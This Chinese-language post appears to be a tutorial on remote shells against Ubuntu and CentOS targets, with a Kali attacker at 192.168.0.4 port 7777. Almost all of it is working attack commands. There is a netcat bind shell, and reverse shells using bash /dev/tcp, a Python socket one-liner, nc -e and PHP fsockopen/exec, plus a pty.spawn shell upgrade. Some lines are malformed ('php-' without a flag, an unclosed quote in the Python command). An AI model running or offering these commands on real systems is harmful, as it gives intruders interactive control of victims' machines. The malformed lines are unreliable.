假如ubuntu、CentOS为目标服务器系统
kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用
最终是将ubuntu、CentOS的shell反弹到kali上
正向反弹shell
ubuntu或者CentOS上面输入
nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。
需要目标机安装nc。
反向反弹shell
方法1:bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
但首先需要在kali上使用nc监听端口:
nc -lvp 7777
此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。
方法2:python反弹
反弹shell的命令如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先,使用nc在kali上监听端口:
nc -lvp 7777
在CentOS或者ubuntu下使用python去反向连接,输入:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
此方法ubuntu和Linux均反弹成功。
方法3
首先在kali上输入nc监听:
nc -lvp 7777
在CentOS或者ubuntu 上使用nc去反向连接,命令如下:
nc -e /bin/bash 192.168.0.4 7777
方法4:php反弹shell
首先在kali上输入:
nc -lvp 7777
然后在目标机上输入:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")' 或 php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。
遇到反弹后不是正常的shell,可用命令:
python -c 'import pty;pty.spawn("/bin/bash")'
转化为常规的shell。